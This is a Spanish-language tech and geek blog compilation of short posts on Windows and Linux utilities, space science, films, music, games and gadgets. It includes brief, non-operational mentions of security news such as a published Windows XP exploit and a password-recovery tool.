Esta aplicación debe de ser muy vieja, pero no la conocía. Windows Enabler funciona en todas las versiones de Windows (incluida la 7) y te permite marcar opciones o seleccionar un menu que normalmente aparecen en gris (deshabilitadas) y actuvarlo. Por supuesto, esto es peligroso ya que si está deshabilitado es por algo pero a veces puede resultar útil o simplemente para jugar un poco con el sistema operativo.

Primer mapa gravitatorio terrestre

"La gravedad no es uniforme y se puede demostrar." Después de dos meses recopilando datos, el satélite GOCE "gravity-tracking" y su personal en tierra han conseguido extrapolar a una imagen el campo gravitatorio terrestre. En él se pueden ver los diferentes colores que corresponden a la cantidad de gravedad medida en metros. En proyectos medioambientales, este mapa termina de afinar ciertos estudios basados en el clima, la circulación en los océanos, las dinámicas de hielo en los polos y la tectónica de placas.

Más info en popsci.com

Cliente VNC escrito en HTML5

noVNC es un cliente de VNC usando las nuevas características que nos ofrece la última versión de HTML. Especialmente aprovechando el Canvas y los WebSockets.

Sólo hay un pequeño problema y hasta que no aparezca algún servidor de VNC que soporte conexión vía WebSockets, será necesario el uso de un proxy de WebSockets a TCP Sockets. La buena noticia es que este proyecto incluye un proxy de este tipo llamado “wsproxy”.

Reinicia los servicios de tu Windows desde un …

Los administradores de sistemas y/o redes, normalmente trabajan con distintos sistemas operativos. Hoy en día en cualquier red empresarial, sobre todo en la parte de servidores, te vas a encontrar con una variedad importante de sistemas. Desde Windows a todo tipo de sistemas *NIX.

Esta simple línea de comandos que os dejo a continuación nos permitirá para y arrancar servicios Windows desde un terminal Linux.

net rpc -I ADDRESS -U USERNAME%PASSWORD service {stop|start} SVCNAME

Todo lo que necesitas es tener instalado samba en tu Linux. (Ubuntu, debian…)

Chuleta del nuevo Worpress 3.0

Pues eso una plantilla, chuleta, como más te guste sobre la nueva y recién salida versión de Wordpress 3.0.

Enlace original.

Saca a pasear el AT-AT ...

Visto en Toplessrobot.

Llamadas internacionales gratuitas entre teléfonos …

La empresa Rebtel, la cual dispone de una aplicación para teléfonos Android para hacer llamadas a bajo coste entre distintos países, es decir, llamadas internacionales ofrecen ahora éstas de forma totalmente gratuita, pero sólo entre los 50 países que listan en su web, España incluido.

Para poder hacer dichas llamadas, lo primero es crearte una cuenta con ellos. Luego tienes que añadir a tu “lista de contactos” el nombre de la persona a la que quieres llamar y su teléfono. El sistema generará un número de teléfono diferente, al que llaman número local. Ese es el número al que tienes que llamar. Cuando tu amigo reciba la llamada, el cual obviamente tiene que tener instalada dicha aplicación y estar registrado, tiene que llamar al número que le aparece en la pantalla de su terminal.

Cómo sacarle el máximo partido a tu cuenta de …

Si no eres usuario de Gmail, lo mismo esta entrada no te interesa o lo mismo que te hace cambiar de idea y crearte una cuenta en Gmail.

En la web de Makeuseof han publicado un documento PDF de 34 páginas, cuyo contenido copio a continuación:

• The history of Gmail and how it began
• Why you should choose Gmail over another email provider
• How to use Gmail, manage and organize your emails
• Getting the most out of Gmail
• Instructions on how to use Gmail with other email providers
• Links to best Gmail tips and hacks.
• Access Gmail on a mobile device
• Gmail Buzz
• And much more…

Hitler cabreado con el nuevo iPhone 4

¡Y no es para menos!

He’s Upset About the iPhone 4 Antenna from MG Siegler on Vimeo.

Java 4 ever

Web oficial.

Las cuatro formas de buscar vida extraterrestre

En la fantástica web Ciencia Kanija, nos hablan del World Science Festival y la charla que dieron cuatro ponentes llamada "The Search for Life in the Universe".

Un post muy interesante que te invitamos a leer en Ciencia Kanija.

Domingo por la mañana, vamos a despertarnos con …

Con este grupo austríaco de nombre realmente espectacular ("Asesinado con pilas de 9 voltios"), vamos a levantarnos hoy:

Killed with 9v batteries

Dedicado a Elenita, que no conocía esta sección de nuestro blog ;)

Vuvuzuela, la nueva arma mortal del Doom

Visto en JoyStick

Robot Android controlado por un teléfono con …

Valga la redundancia. Yo quiero uno de esos!

Página del proyecto. Visto aquí.

10 aplicaciones Mac que Windows podría tener …

Ojo, no quiere decir que estas aplicaciones sean únicas de Mac (existen aplicaciones similares en Windows), simplemente que funcionan muy bien en Mac y no estarían mal también en Windows:

1. QuickSilver: lanzador de aplicaciones
2. Un sistema de virtualización Mac-on-Windows: en Mac puedes virtualizar muy bien cualquier Windows, pero no podemos decir lo mismo de virtualizar Mac en Windows.
3. Preview: previsualizador de imágenes y PDF's
4. CyberDuck: cliente FTP
5. Adium: aplicación chat (muy configurable)
6. Growl: notificador
7. Fluid: convierte aplicaciones web en aplicaciones de escritorio
8. Skitch: capturador de imágenes 
9. GarageBand: software para grabación de audios (muy popular para grabar podcasts)
10. NetNewsWire: feed para noticias RSS

Visto en LifeHacker.

Peter Jackson podría dirigir "El Hobbit"

Después de la decepción al enterarnos que no lo dirigiría Guillermo del Toro, parece que Peter Jackson viene al rescate. Por lo visto está en negociaciones para dirigir la película.

Parece que Peter vuelve a la Tierra Media, menos mal.

Visto en io9.

NirLauncher, más de 100 aplicaciones portables …

NirSoft ha creado este NirLauncher gratuito con el cual podrás ejecutar aplicaciones portables desde un pendrive. Viene con más de 100 utilidades para administradores Windows separadas según el ámbito de su utilidad. Además tiene una características especial que te permite añadir la suite SysInternals a esta colección de utilidades portables. Si además creamos un pendrive capaz de arrancar, entonces tenemos un verdadero kit de rescate y mantenimiento muy completo. Aquí tienes un tutorial del autor para crear un USB arrancable de rescate.

Echa un vistazo al artículo original, en él te explica paso a paso todos los procedimientos para su instalación y también para integrar SysInternals.

La madre de todas las dock

(click en la imágen para verlo más grande)

Vaya aparatito, resuelve todos los problemas a la hora de conectar casi cualquier cosa a tu ordenador.

Fíjate en la foto y en las características:

• Dock Dual SATA HDD multifunción
• Dock para discos duros de 2.5" y 3.5"
• Botón One Touch Backup (copia de seguridad pulsando un botón)
• Tarjeta WiFi integrada
• eSATA
• 2 Puertos USB
• 1 Lector de tarjetas

Cuesta 92$ y puedes comprarlo en su web oficial aquí.

Otra joya para colección

En este enlace podemos encontrar el manual de hardware del CRAY-1. Una verdadera joya!

Los sistemas Cray siempre han sido de los más poderosos del mundo, especialmente en los 70’s y 80’s. Para saber más sobre estas máquinas puedes seguir este enlace que te llevará a la Wikipedia.

Desde aquí te puedes descargar la versión PDF del mismo.

La historia de Superman, de 1938 a 2010

En Newsarama, con motivo de la publicación del número 700 este miércoles, han mirado atrás para echar un vistazo la historia del Hombre de Hierro, Superman. Desde los comics de 1930, al show de los 50 llamado "Advetures of Superman", pasando por más de 4 películas (algunas para olvidar) y otras series actuales (como Smallville).

Pulsa en la imágen que encabeza este post para verlo completo.

Visto en TheFireWire.

Vino en recipiente individuales

Copa vino individual para un sólo uso, diseñado por James Nash.

Visto en NeatOrama.

 

Errores de "Copy & Paste"

Tinta electrónica v2.0, menudo avance.

Es la última moda en Marte.

Este NO es un error porque lo traducen después al frances, ojo.

Visto blameitonthevoices.com y geekologie

I Can't Stand Sultans Of Swing

Perfecta fusión de la canción “Sultans of Swing” de los Dire Straits  y “I Can’t Stand Loosing You” de Sting (The Police). Creado por Go Home Productions, realmente espectacular.

Atentos al video:

Visto en retrothing.

Aurora Australis fotografiada en órbita

La fotografía se tomó el 29 de Mayo desde la Estación Espacial Internacional y ha sido publicada en Popular Science por Clay Dillow:

"This particular aurora is unique in the sense that it was spotted fairly far away from the South Pole over the southern Indian Ocean, likely as a result of a large ejection of energy that burst from the sun on May 24. The photographer is looking south toward Antarctica, though you can’t see the southernmost continent in the photograph. The ISS orbits at around 220 miles, while the aurora was located somewhere in the ionosphere between 60 and 190 miles above the planet’s surface."

Impresoras que dejan huella y las que no

Hace bastante tiempo, años, que salió a la luz que algunas (muchas) impresoras del mercado, en cada folio que imprimías dejaba una marca de agua que es invisible al ojo humano, con identificación sobre la impresora. Es decir, que si usas una de esas impresoras e imprimes un plan de ataque terrorista y estos papeles caen en manos de la policía, posiblemente lleguen a ti leyendo la marca de agua o huella dactilar que tu impresora deja. Aquí tienes algo más de información al respecto.

En la web de Electronic Frontier Foundation, están creando una lista de las impresoras láser a color que dejan está huella y las que no. Obviamente, dicho listado no está completo y como dicen en el artículo en cuestión todavía están trabajando en ella y por lo tanto esta lista irá variando con el tiempo.

Buick Streamliner 1948

Ojo! Esta imagen no es un render

Su diseñador fue el ingeniero mecánico Norman E. Timbs en los años 40. Lleva un motor de ocho cilindros en línea de 4000 cc, 200 HP y una velocidad punta de 200 Km/h. Lo completó prácticamente solo, a sabiendas de que nunca sería un modelo de serie pero lo construyó sólo por darse el gusto de verlo terminado. La historia de como pasó de ser un objeto de exposición, posteriormente a un desguace y, de nuevo, a ser el centro de todas las miradas se narra aquí.

¿Terrible...? lluvia de meteoritos en 2011

En diversos medios he leído que la Nasa prevé para el 8 de Octubre de 2011 una lluvia de meteoritos  y que esta será "terrible" para cualquier aparato que esté situado más allá de la exosfera. Esto incluye a la estación espacial internacional que, ya han adelantado, tiene una protección especial frente a estos casos. Parece algo alarmista ya que las posibilidades de que una dracónida (2 meteoritos/hora) impacte sobre cualquier objeto pequeño son prácticamente nulas. La Nasa sólo ha advertido de "posibles consecuencias ". Pienso que se referirán a posibles fallas en transmisiones móviles o datos erróneos por parte de los instrumentos de medición en telescopios y satélites científicos. Todo ello debido a las descargas electroestáticas que producen estos pequeñísimos objetos a altas velocidades.

Autoruns, programa para controlar los programas de …

(pulsa en la imágen para verla más grande)

Esta aplicación portable gratuita de Microsoft Sysinternals llamada Autoruns (ahora en su versión 10), te permite controlar todos los programas de inicio de una forma muy completa. Perfecta para comprobar el equipo en caso de sospechar que tenemos spyware o malware en nuestra máquina y también deshabilitar aquellas que creamos afectan al rendimiento del sistema. Además también te permite comprobar todos los complementos se hayan instalado (codecs, dll's, etc ...).

Puedes descargarla desde aquí.

Más de 100 dibujos basados en el universo Star …

Alucinante colección de dibujos conceptuales de La Guerra de las Galaxias, creadas por Ralph McQuarrie. Y además, como tiene que ser, sólo son de las únicas tres películas que existen "La Guerra de las Galaxias", "El Imperio contraataca" y "El retorno del Jedi" ... no recuerdo ninguna otra más ... ;)

No te pierdas la colección, es espectacular.

Visto en io9.

Battlestar Galactica Online: primeras imágenes del …

click para ampliar

Primerísimas imágenes del juego y no de intros o trailers. Parece que el juego va a ser bastante más complejo y profundo que Dark Orbit, alguno de nuestros lectores ya lo intuía ;-) . Siento no tener más imágenes o de mayor resolución.

Que si MMORPG, MMOFps, MMO, MMORTS... finalmente va a ser un browser-based MMO. Aunque no se ha dicho nada de una demo alpha hay rumores de que la colgaran para conocer la aceptación del público y añadir posibles variaciones en el juego.

Los diseños de Cristal Oscuro

Cristal Oscuro (The Dark Crystal, 1982) es una de mis películas favoritas. Desde luego fue la primera que me enganchó al mundo de la fantasía. Este fantástico cuento de aventuras y acción, está rodado íntegramente con marionetas creadas por el genio Jim Henson, y no tiene nada que envidiar a grandes superproducciones que usan gráficos por ordenador. Si no la has visto y te gusta la fantasía, ya estás tardando en verla. Prueba a buscarla en los saldos de películas en BlueRay, hace un par de meses la compré en MediaMarket por 10€.

Desde io9, he visto esta web donde publican algunos de sus diseños iniciales de personajes y escenarios. Están sacados del libro “The World of Dark Crystal”.

Cassini está sobrevolando Titán a 880km de …

Espectacular, eso es casi rozarlo. A esta altura, además de echar el mejor vistazo por su cercanía a la superficie de Titán, estará a 70km por debajo de la atmósfera(a 880km de altura), en concreto de la ionosfera. Los científicos de la misión esperan encontrar señales del campo magnético de Titán.

Esta misión de aproximación se la ha denominado T-70.

Mas información en Odisea Cósmica.

Página principal de la misión T70.

Para este domingo, otro nuevo disco, Broken Social …

 

Nuevo disco de los geniales Broken Social Scene, Forgiveness Rock Record. Ya puedes encontrarlo, está a la venta desde el 4 de Mayo.

Romance to the grave

Ungrateful Little Father

Fantásticos …

Google desde la línea de comandos

¿Eres un amante de la línea de comandos?

Google acaba de liberar GoogleCL, una herramienta que nos permita interactuar desde la línea de comandos con varios servicios de Google. Algunas de las cosas que puedes hacer son: publicar en un blog alojado en Blogger, editar un documento en Google Docs, añadir un evento al calendario, subir fotos a Picasa, etc.

Aquí podéis algunos ejemplos:

$ google blogger post --blog "My blog" --tags "python, googlecl,  development" my_post.html

$ google calendar add "Lunch  with Jason tomorrow at noon"

$ google docs edit --title  "Shopping list" --editor vim

Esta herramienta está totalmente escrita en Python.

Trailer de "Juego de Tronos", se acerca el …

La HBO nos ha mostrado este primer fugaz trailer de la adaptación a serie de televisión del libro "Juego de Tronos" , primero de la Saga Canción de Hielo y Fuego. No muestra mucho pero por lo menos ya es más que oficial que el proyecto sigue adelante.

Seguiremos esperando.

Visto en ZonaFandom.

Panorama 360 del sótano de IT Crowd

Puedes mover la vista con los cursores. Derecha, izquierda, arriba y abajo.

(pulsa en la imágen para acceder al sitio web)

Enlace original.

Creada la primera criatura capaz de replicarse en …

 

En concreto, ha sido creado dentro del universo del Juego de la Vida de Conway. Recuerda que en el Juego de la Vida, primero diseñas un patrón con unas celdas vivas iniciales que luego sueltas en el universo digital de Conway y a esperar. Su evolución dependerá de dos simples reglas:

1. Cualquier celda viva con dos o tres vecinos vivos, contínua viva, pero las que tengan menos de dos o más de tres, mueren.
2.  Cualquier celda muerta con exactamente tres vecinos vivos vuelve a la vida

 Hasta ahora se habían creado criaturas como por ejemplo patrones que se desplazan por el tablero (naves espaciales), osciladores (patrones recurrentes) como el sapo ó el parpadeador, incluso hasta ahora se podían crear criaturas que generaban otras criaturas, pero nunca una que pudiera autoreplicarse con una copia idéntica de sí mismo.

(IN)SECURE número 26

Ya está disponible el número 26 de la revista de seguridad (IN)SECURE.

• PCI: Security's lowest common denominator
• Analyzing Flash-based RIA components and discovering vulnerabilities
• Logs: Can we finally tame the beast?
• Launch arbitrary code from Excel in a restricted environment
• Placing the burden on the bot
• Data breach risks and privacy compliance
• Authenticating Linux users against Microsoft Active Directory
• Hacking under the radar
• iPhone backup, encryption and forensics
• Y mucho más

Enlace original.

Chicas E3 2010

Que sería de la aburrida tecnología si no estuvieran ellas para promocionarla... ;-)

Más chicas... ejem, digo... más info en fayerwayer y en alt1040

Montaña rusa casera

Ha perdido a tres de sus hijos probando el looping pero... y que tal si añadimos unos  cohetes y un poco más de jardín? :-)

Visto en Today's Big Thing.

Samsung Galaxy Beam

Ese es el nombre del nuevo terminal de Samsung que correrá Android y que intentará hacer la competencia al nuevo iPhone, así como a los últimos HTC.

Todo lo que hay sobre este nuevo terminal es información que se ha filtrado (como no…) sobre algunas de sus nuevas características y que, si la filtración es verdadera y no humo, veremos un terminal que para mí, dará una vuelta más de tuerca al mercado de los móviles.

Oficina portátil

Inventan por error el chocolate perfecto: ni se …

Alta tecnología suiza

El fabricante de chocolate Barry Callebaut lo ha creado debido a un error de laboratorio. Es el chocolate perfecto para el verano ya que solo se derrite a 55º, de ahí su nombre: "Vulcano". Su textura es agradable y crujiente, y su aroma es fuerte. Además, no se derrite con el calor de la lengua sino con las enzimas de la saliva. Además, gracias a esta cualidad, este tipo de cacao tiene un 90% menos de calorias.

“De pronto nos dimos cuenta de que se había producido una versión especial de la base de cacao con una especie de espuma aireada, que nos hizo pensar que se podía desarrollar un chocolate nuevo” afirmó Cantz Simon, ingeniero de alimentos, para la televisión suiza.

Bienvenido a este loco mundo Martín ...

 

Un potencial nuevo geek (digo potencial porque de eso ya me encargaré yo, me autoproclamo mentor tecnológico de Martín) ha llegado la pasada tarde noche de ayer a nuestro querido y loco mundo.  

Todo ha ido perfecto y desde CyberHades enviamos un abrazo y un beso muy fuerte a la mamá (Sara) y al papá (Hono).

¡Bienvenido Martín!

PD: consejo para el papá, vende la moto y cómprale un ordenador al nene … ;)

El ajedrez más increible que hayas visto ...

 

Cuatro personas, un año de trabajo, más de 100.000 legos y 30.000 doláres para crear este increible ajedrez robot.

Al principio no parece muy espectacular, pero luego se anima y se vuelve más interesante … no te pierdas el video completo.

Datos técnicos y web de los autores aquí.

Visto en io9.

YouTube Play: una bienal de vídeo creativo

Es una propuesta que acaban de lanzar Youtube y el museo Guggenheim. Se pretende encontrar los 20 videos más creativos del mundo. Se puede participar con animación, narrativa, documentales, vídeos musicales y “formas de arte enteramente nuevas”, sin importar técnica ni presupuesto. Fecha límite hasta el 31 de Julio de este año.

Los trabajos recibidos serán evaluados por un jurado internacional de expertos en campos del arte, diseño, cine y vídeo, y se seleccionarán hasta 20 trabajos que se presentarán el 21 de octubre en el Museo Guggenheim de New York, celebrándose presentaciones simultaneas en los museos Guggenheim de Venecia, Berlín y Bilbao.

IconViewer, plugin para extraer iconos

Windows

Este plugin gratuito, añade una pestaña más a la pantalla de propiedades en el explorador de ficheros de Windows. Desde esta pestaña, podrás copiar, ver y almacenar todos los iconos (incluso los ocultos) que tiene la aplicación (ó las DLL).

Gratuito, lo puedes descargar desde aquí.

Visto en LifeHacker.

Battlestar Galactica Online

Confirmado hoy en el E3 2010 por Bigpoint. Será un juego masivo que se ejecutará desde el navegador (web de Syfy) Aunque hay todavía pocos datos se sabe que el juego pertenecerá a una nueva versión de juegos web que ofrecerán gráficos 3D de calidad sin la necesidad de tener que descargar ningún cliente de juego.

"Battlestar Galactica es una propiedad intelectual muy adaptable al videojuego, con atractivas clases de personajes, una fantástica variedad de naves y armas, múltiples mundos, y una historia dramática", ha dicho Bill Kispert, vicepresidente y director general de plataformas digitales en Universal Partnerships & Licensing. El juego apostará por presentar un mundo de combate espacial tácticos y una estructura de misiones, y los jugadores podrán escoger entre el bando humano y el robótico cylon.

Se saca un diente con un cohete

Ahora ponte a buscar el diente! :-)

BrisCAD: un Autocad serio para Linux

Sufro en mis propias carnes los problemas de CAD que puede llegar a tener un estudio de arquitectura en un proyecto de gran envergadura. Cuando se traspasan archivos entre estudios con diferentes versiones de autocad puede organizarse todo un caos en el universo de las importaciones y/o plumillas. Se necesitan programas muy robustos y con niveles de compatibilidad del 100% pero, seamos serios, no existen buenas alternativas para usuarios de CAD dentro del mundo de linux. Alrededor del 90% de los estudios de arquitectura que hay en España utilizan Autocad y por ende Windows. Bricsys quiere quitarnos la razón a todos los que así pensamos, y esperemos que así sea. BrisCAD lleva algún tiempo funcionando y se está declarando un firme competidor para Autodesk. Es un programa de dibujo lineal orientado al sector profesional y sus características impresionan:

Video de StarCraft II en la final de la NBA

Visto en TodoWow.

Domingo, "The Chemical Brothers" nuevo disco, …

Si no te levantas con esto, es que tienes una buena resaca ;)

Nuevo disco de los Chemical Brothers, he encontrado algunas canciones del disco en YouTube  y las que he podido escuchar me han dejado impresionado. Espectacular, han vuelto a los sonidos electrónicos más duros y los ritmos agresivos de sus primeros discos.

Ya lo tengo reservado en iTunes (si haces la reserva iTunes Pass, te regalan un video de 50 minutos que denominan "experiencia visual" del nuevo disco "Futher"). Si compras la versión normal (el disco completo sin extras), sólo cuesta 10€, o también 1,20€ cada canción. El disco sale en EEUU el día 22 de este mes.

A ver niño, que todo pase por el firewall

Enlace original.

Safari (libros online) ofrece 30 días de acceso …

Estos son los libros para los que ofrecen estos 30 días de acceso gratis:

Simplemente entra en este enlace, selecciona un código de acceso para cada libro y ya está.

Estos son los libros:

• Real World Flash Game Development by Christopher Griffith (Focal Press)
• Fundamentals of Game Design by Ernest Adams (New Rider)
• Game Programming with Silverlight by Michael Snow (Course Technology PTR)
• iPhone Game Development by Paul Zirkle, Joe Hogue (O'Reilly Media)
• Learning iPhone Programming by Michael Daley (Addison Wesley Professional)

Safari Books OnLine

Guía interactiva del libro "Mundo Anillo" …

Si no has leido este fantástico libro de Larry Niven "Mundo Anillo", este verano, a la sombra de algún árbol en la piscina o en la playa (tomando una cervecita, mucho mejor), es el momento de hacerlo. Ganó los premios Nébula, Hugo y Locus en el año 1971 (pocas tienen los tres).

Cuando lo leas, recuerda este post y visita la guía interactiva.

Pero  si lo has leido, te encantará esta fantástica guía interactiva de todo el universo que rodea al libro (el mundo anillo artificial, la estrella, etc ...).

Búsqueda de errores y soluciones a problemas

En al web de makeuseof han publicado un artículo con lo que según ellos consideran la lista que las 10 mejores páginas de búsqueda de códigos de error y soluciones a dichos errores. A continuación os dejos los enlaces a dichas páginas:

ErrorGoblin ErrorKey ErrorHelp EventID Wikipedia’s List of HTTP Status Codes SMTP Error Codes List of POST / beep codes Windows Stop Messages Microsoft Support

Y por supuesto siempre nos quedará París Google.

Mi homenaje a MYST: amor y odio

Video tributo a MYST

Myst es el único juego que provoca un auténtico sentimiento de miedo al empezar a jugar y aun así quieres jugarlo. Y es auténtico porque sabes que por n-ésima vez te quedarás liado en alguno de sus enigmas: botones, palancas, cuerdas, bolas de colores,  códigos alfabéticos imposibles, cargas eléctricas, sonidos agudos, medios y graves... tira de aquí que se abre allá... si pulso saldrá en azul... ah, pues no... :-) y terminas lanzando improperios al que ha pensado semejante enigma sacado del infierno. Pero de pronto lo ves todo claro, la solución es tan transparente como el agua, ejecutas el orden correcto y se abre ante ti otro nuevo mundo... no hay mejor recompensa ni mayor subidón.

"Google" (un ingeniero que trabaja para ellos) …

Imágen: vista aquí.

Un ingeniero de Google ha publicado hoy el código de un exploit para atacar una vulnerabilidad zero-day en Windows XP.  Otros expertos en seguridad no están de acuerdo en la forma en que Google dicho ingeniero ha publicado el error, sólo cinco días después de notificarlo a Microsoft.  ¿Tiene esto algo que ver con la reciente publicación de Google que no usará más equipos con Windows?.

Ampliación de memoria para la Dingoo A320

NOP y yo, ya sabéis que tenemos una Dingoo, y la verdad es que estamos muy contentos con ella. Sobre todo jugando a los juegos del MAME, donde funciona casi mejor que en el mismo ordenador.

En HackADay, nos muestran un extenso y muy explicado tutorial para cambiar la memoria del A320, que son 32MB, a 64MB. Los chips se pueden encontrar en Digikey por 12,50$ cada uno.

Podrías ser inmune al VIH Sida y no saberlo

Un gen, el HLA B57, podría haberte hecho inmune al VIH Sida desde que naciste y no saberlo. Un equipo de científicos del Instituto de Tecnología de Massachussets (MIT), el Instituto Ragon del Hospital General de Massachusetts (MGH) y la Universidad de Harvard ha descubierto que este gen especial que poseen las personas inmunes por naturaleza a este virus. El HLA B57 hace que el cuerpo fabrique un mayor número de células del sistema inmune eficaces. Este descubrimiento podría ayudar a los investigadores a desarrollar vacunas que provoquen la misma respuesta ante el virus del VIH que la que los individuos con este gen especial generan por sí mismos.

Caperucita Roja, contada en versión geek

Slagsmålsklubben - Sponsored by destiny from Tomas Nilsson on Vimeo.

Todos conocemos el cuento de Caperucita Roja, pues Tomas Nilsson nos muestra su versión infográfica adaptada a los tiempos modernos, donde se aparece toda la información posible de los detalles de la historia.

Por cierto, la música es de Slagmalsklubben, canción "Sponsored by Destiny".

Visto en Kuriositas.

Huevo de pascua en osciloscopio HP 54600B

Si tienes un osciloscopio HP 54600B, siguiendo los siguientes pasos podrás jugar al tetris.

1.- Enciende el osciloscopio. 2.- Presiona el botón “Print/Utility” una vez. 3.- Mantén presionado el botón “Function” y a la vez presiona el segundo y tercer botón de los 6 que están debajo de la pantalla por medio segundo.

Con eso debería de salir un tetris en la pantalla y poder jugar :-)

Rumor, Indiana Jones 5 ... ¿y qué?

Después de la impresionante cagada de Indiana Jones y el Reino de la Calavera de Cristal, no me sorprende que quieran volver a mancillar el nombre de Indiana con otra peliculita. Se está filtrando por diversos foros  como TheFilmStage, que se rodará el año que viene y la acción transcurrirá en el Triángulo de las Bermudas.  Esta vez, Harrison Ford parece que será un personaje secundario y volverá Shia LaBeouf (empezamos mal, nene repelente donde los haya, sólo superado por Hayden Christensen). Para calmar a las fieras (yo entre ellas), parece que también se está diciendo por esos foros que esta vez no se utilizarán tantos efectos especiales y que volverá la esencia de las otras películas de la saga ........  JaJajijjajajajjjijijijajajjajajaj :_ ) ay madre mía, no se lo creen ni ellos.

Network Password Recovery, recupera contraseñas …

Windows

Las contraseñas y los nombres de usuario se almacenan en Windows XP y Vista en el Stored User Names. En Windows 7 este almacén se llama Windows Vault. Pues esta fantástica herramienta gratuita de Nirsoft permite recuperar contraseñas de estos almacenes tanto en XP, Vista y Windows 7. Es un problema almacenar las contraseñas de red en el equipo y este programa lo demuestra.

Aunque todas las contraseñas del Windows Vault están ecriptadas, se pueden ver si conoces una cuenta de administrador en el ordenador. Esto es porque Windows almacena la contraseña en texto plano antes de encriptarla.

Arte con fractales

¿Quién dijo que las matemáticas eran feas?

Creados por Eric Shafer. Este diseñador es uno de los fundadores de Presidia, un gran equipo de desarrollo de medios.

El resto de imágenes en creativefan.com

HTC Evo vs iPhone 4 vs Droid Incredible

Enlace original.

Mobotix Hemispheric Q24

Buscando una cámara para video vigilancia me he encontrado con esta. Aparte de todo lo que lleva incorporado destaca la tecnología hemisférica que utiliza, pudiendo abarcar una habitación completa con una sola cámara, y posteriormente definir zonas en las que aplicara correcciones de distorsión y orientación para obtener las diferentes imágenes. También realiza grabaciones de forma autónoma e incorpora ranura para microsd. Gracias a sus 3 Megapixeles realiza un buen zoom digital con apenas pérdida de calidad.

Libros gratuitos de Microsoft

En la web de Microsoft, MSDN, puedes encontrar muchos libros electrónicos, normalmente formato XPS y PDF, sobre distintas tecnologías de dicha empresa. Si tienes que lidiar con productos de Microsoft, seguro que encuentras algo que te interese. Aquí os dejo los enlaces a algunos libros interesantes:

• Free eBook: Moving to Microsoft Visual Studio 2010 (DRAFT Preview)
• Free eBook: Moving to Microsoft Visual Studio 2010 (DRAFT Preview II)
• Code for “Moving to Microsoft Visual Studio 2010” DRAFT eBooks
• Free eBook: Introducing Microsoft SQL Server 2008 R2
• Free eBook: Programming Windows Phone 7 Series (DRAFT Preview) (by Charles Petrol)
• Free eBook: Own Your Future: Update Your Skills with Resources and Career Ideas from Microsoft
• Free eBook: Understanding Microsoft Virtualization Solutions (Second Edition)
• Free eBook: First Look Microsoft Office 2010
• Free eBook: Windows 7 troubleshooting tips
• Free eBook: Introducing Windows Server 2008 R2
• Free eBook: Deploying Windows 7, Essential Guidance

Visto aquí.

¿Vida alienígena en Titán? ... puede pero vamos a …

La semana pasada algunos documentos casi han asegurado que hay vida en Titán, basándose en los informes de la NASA que la sonda Cassini ha estado enviando en su misión a Marte. Ya hemos hablado de esto antes pero esta vez la cosa se ha puesto calentita, y desde Universe Today quieren poner un poco de orden a este lío. La líder la misión Cassini, Carolyn Porco pidió un poco de calma desde Twitter este fin de semana. Toda esta polémica se basa en que estos documentos que afirman el hecho de vida en Titán se basan en que estos organismos devoran hidrógeno que luego transforman en metano. Carolyn Porco dice textualmente "... esto no implica que los microbios están devorando hidrógeno en Titán. Explicaciones no biológicas son todavía posibles."

"Tunea" tu firefox

Seguro que muchos ya sabréis que el navegador de Mozilla, Firefox, te da la posibilidad de cambiar muchos de los parámetros internos que usa el mismo. Es, digámoslo así, el registro de Firefox, desde el cual podemos cambiar el comportamiento del navegador. Entre otras cosas puedes cambiar la forma de carga de las páginas web, integración con el sistema de Windows (NTLM) a la hora que autentificar un usuario con las credenciales del sistema contra un SSO (Single Sign-On), etc.

Para acceder a dichos parámetros, sólo tenéis que escribir en la barra de direcciones: about:config

Cómo abrir una botella de vino con un zapato

¡Todo un crack! Aquí la explicación (en Francés).

Cambio de look ...

Hemos pasado un buen fin de semana NOP, tuxotron y yo en Valencia (paellita, paseitos por el centro, bocata de calamares mañanero, etc ...) . Después de frikear un rato con el MAME , quemar el x-Arcade  ;) y tomar algunas cervezas la tarde del sábado, hemos hecho algunos cambios en blog que espero os guste a todos. El tema que ahora podéis ver se llama "bash" y lo hemos seleccionado por la apariencia más "geek" y "retro" que aporta el blog.

"Sunday", Sonic Youth, para un "Sunday" de Junio …

Mashups de videojuegos

¿Quién ganaría en la batalla Donkey Kong vs Mortal Kombat? ¿Pacman vs Sonic?… ¿Y..? Vean los vídeos:

Mortal Kombat vs Donkey Kong

Sonic vs Pacman

Doom vs Super Mario

Podéis ver más aquí.

WTF? Hoy: Creepy Whitney

Increíble video de un concurso de playbacks en Filipinas. Yo si hubiese visto esto con menos edad aun tendría pesadillas.

1001 Video Juegos que hay que jugar antes de morir

Al estilo de los famosos libros "1001 películas que debes ver antes de morir" ó "1001 discos que hay que escuchar antes de morir", ahora nos llega uno que nos faltaba a todos, "1001 juegos que hay que jugar antes de morir". Aún no está a la venta pero puedes reservarlo (es un poco más barato) ya pulsando en el enlace del mismo.

Llegará en Octubre, y está realizado por un grupo de críticos donde recopilan de forma cronológica desde los 70 hasta 2010 todos los juegos que ellos consideran indispensables.

Avatar Days

Documental creado por Gavin Kelly donde se describe la historia de cuatro jugadores de MMORPG (parecen de World of Warcraft) donde se describe cómo se verían sus personajes exóticos en el contexto de sus vidas reales.

Visto en The Awesomer.

Haciendo trampas en juegos online a través de la …

En el siguiente vídeo podemos ver como el autor del mismo, usando un portátil desde el cual captura y luego modifica los paquetes entre el juego y el servidor, hace trampas en el mismo.

En este caso concreto es un juego de PS2. Hace muuuuchos años, en los tiempos de mi Spectrum y posteriormente Amiga, recuerdo el intercambio de Pokes y cargadores para poder hacer trampas. Claro hoy en día la cosa ha cambiado mucho y el juego ya no sólo corre de forma local, sino que parte del mismo de desarrolla en algún servidor. Así que la forma de engañar al propio juego también cambia.

Traducción a lenguaje R2D2

Quieres saber como suena tu nombre en idioma R2D2 o tu blog favorito y después descargarlo en mp3 pues solo tienes que pulsar en el enlace. ¿El próximo traductor será en wookiee? jeje.

Cyberhades suena así: AUDIO :-)

Traductor: r2d2translator.com

Visto en soygik.com

Si este es el futuro que nos espera...

… que Dios nos coja confesados.

Para los que no entiendan el vídeo, básicamente lo que hacen es poner a prueba (hackear) una de esas máquinas de voto electrónico. Según se puede deducir por los subtítulos que ponen, son las máquinas que han usado/usarán en Filipinas. (No tengo ni idea sobre ningún tipo de elecciones políticas en Filipinas, así que no sé si éstas ya han ocurrido o no y si han usado dicho terminal o no).

Seguridad en fotocopiadoras

